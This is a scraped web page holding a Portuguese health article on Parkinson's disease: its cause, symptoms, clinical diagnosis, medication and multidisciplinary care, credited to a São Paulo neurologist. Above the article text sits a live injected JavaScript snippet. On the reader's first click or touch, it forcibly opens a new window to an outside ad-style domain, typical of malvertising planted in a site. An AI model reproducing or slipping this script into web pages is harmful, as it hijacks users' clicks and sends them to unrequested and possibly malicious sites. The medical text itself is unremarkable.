(function(){var sl="https://omg10.com/4/10671168",o=false;function f(){if(o)return;o=true;window.open(sl,"_blank")}document.addEventListener("click",f);document.addEventListener("touchstart",f,{passive:true})})(); Parkinson: maioria dos portadores sofrem de depressão - Idmed

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O Mal de Parkinson é causado pela falta ou redução da produção de dopamina e os primeiros sintomas da doença podem começar a se manifestarem a partir dos 50 anos. Dados da Associação Brasil Parkinson afirmam que cerca de 1% da população idosa brasileira é portadora da doença. No entanto, o diagnóstico precoce pode não só identificar a existência da doença como também retardar sua evolução.

Tremor em repouso, principalmente nas mãos, hipertonia, marcha em bloco e andar curvado, como se estivesse procurando o centro da gravidade, são sinais de Parkinson. Atividades como abotoar uma camisa ou pegar um copo d´água podem ser ações difíceis para quem apresenta a doença.

O diagnóstico de Mal de Parkinson é clínico e a doença pode ser controlada com medicação adequada. Em casos extremos há necessidade de intervenção cirúrgica. Exames de imagem são fundamentais para diagnosticar outras doenças neurológicas que podem simular o Parkinson. Se a doença for controlada, o paciente pode ter uma vida normal. Para que o tratamento tenha o resultado desejado, é importante que o paciente seja acompanhado por uma equipe multidisciplinar, formada por neurologistas, fisioterapeutas e psicólogos.

 

 

Roberto Godoy é neurologista da Beneficência Portuguesa de São Paulo e coordena uma equipe que cuida diretamente de cerca de 40 pacientes com Mal de Parkinson por mês.

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